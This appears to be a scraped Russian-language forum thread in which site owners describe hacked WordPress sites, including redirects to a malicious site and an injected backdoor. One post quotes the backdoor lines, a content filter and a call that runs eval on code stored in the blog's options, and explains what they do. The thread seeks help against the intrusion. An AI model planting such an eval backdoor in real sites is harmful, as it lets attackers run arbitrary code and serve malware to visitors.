<!-- var prefix = 'ma' + 'il' + 'to'; var path = 'hr' + 'ef' + '='; var addy4767 = 'mir-stengazet' + '@'; addy4767 = addy4767 + 'mail' + '.' + 'ru'; document.write('<a ' + path + '\'' + prefix + ':' + addy4767 + '\'>'); document.write(addy4767); document.write('<\/a>'); //-->\n </script><script type='text/javascript'> <!-- document.write('<span style=\'display: none;\'>'); //-->

эмм, эт так и должно быть?

У меня недавно ломанули и поменяли все в штачесе, хорошо, что во время увидел... Ставят редирект всех пс на какой-то вирусный гс

как я поняла в файле перед ней стоит вот такая строчка add_ filter(' the_ content', '_ bloginfo', 10001);  - поюзав , нашла следующее она добавляет фильтр который может изменить текст любого поста   блога при его отображении. Одним словом добавить туда любой текст или вредоносный код. А может просто повесить рекламу.
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ — Это условие проверки, что открыт пост целиком, и  выполняется произвольный код из настроек блога с помощью функции eval.
Далее, при попытке удалить ее из кода, сайт пропадает... Кто знает что можно сделать?

Цитата
Booster пишет: А что за анттвирус такой?

Тоже очень интересно. Недавно взломали несколько сайтов на wordPress, пришлось перепахать весь код в ручную.